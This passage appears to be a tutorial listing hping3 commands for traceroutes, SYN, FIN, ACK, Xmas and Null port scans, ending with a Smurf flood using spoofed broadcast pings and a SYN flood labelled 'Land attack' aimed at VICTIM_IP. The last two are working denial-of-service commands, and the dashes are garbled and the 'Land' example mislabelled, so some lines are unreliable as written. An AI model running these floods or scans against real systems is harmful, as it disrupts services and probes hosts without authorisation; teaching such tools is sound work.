2. Traceroute using ICMP: This example is similar to famous utilities like tracert (windows) or traceroute (linux) who uses ICMP packets increasing every time in 1 its TTL value.
hping3 — traceroute -V -1 testpage.com
3. Checking port: Here hping3 will send a Syn packet to a specified port (80 in our example). We can control also from which local port will start the scan (5050).
hping3 -V -S -p 80 -s 5050 testpage.com
4. Traceroute to a determined port: A nice feature from Hping3 is that you can do a traceroute to a specified port watching where your packet is blocked. It can just be done by adding — traceroute to the last command.
hping3 — traceroute -V -S -p 80 -s 5050 testpage.com
5. Other types of ICMP: This example sends a ICMP address mask request ( Type 17 ).
hping3 -c 1 -V -1 -C 17 testpage.com
6. Other types of Port Scanning: First type we will try is the FIN scan. In a TCP connection the FIN flag is used to start the connection closing routine. If we do not receive a reply, that means the port is open. Normally firewalls send a RST+ACK packet back to signal that the port is closed..
hping3 -c 1 -V -p 80 -s 5050 -F testpage.com
7. Ack Scan: This scan can be used to see if a host is alive (when Ping is blocked for example). This should send a RST response back if the port is open.
hping3 -c 1 -V -p 80 -s 5050 -A testpage.com
8. Xmas Scan: This scan sets the sequence number to zero and set the URG + PSH + FIN flags in the packet. If the target device’s TCP port is closed, the target device sends a TCP RST packet in reply. If the target device’s TCP port is open, the target discards the TCP Xmas scan, sending no reply.
hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF testpage.com
9. Null Scan: This scan sets the sequence number to zero and have no flags set in the packet. If the target device’s TCP port is closed, the target device sends a TCP RST packet in reply. If the target device’s TCP port is open, the target discards the TCP NULL scan, sending no reply.
hping3 -c 1 -V -p 80 -s 5050 -Y testpage.com
10. Smurf Attack: This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping messages.
hping3 -1 — flood -a VICTIM_IP BROADCAST_ADDRESS
11. DOS Land Attack:
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 — flood — rand-source VICTIM_IPLegend:
— flood: sent packets as fast as possible. Don’t show replies.
— rand-dest: random destionation address mode. see the man.
-V ← Verbose
-c — count: packet count
-d — data: data size
-S — syn: set SYN flag
-w — win: winsize (default 64)
-p — destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-s — baseport: base source port (default random)
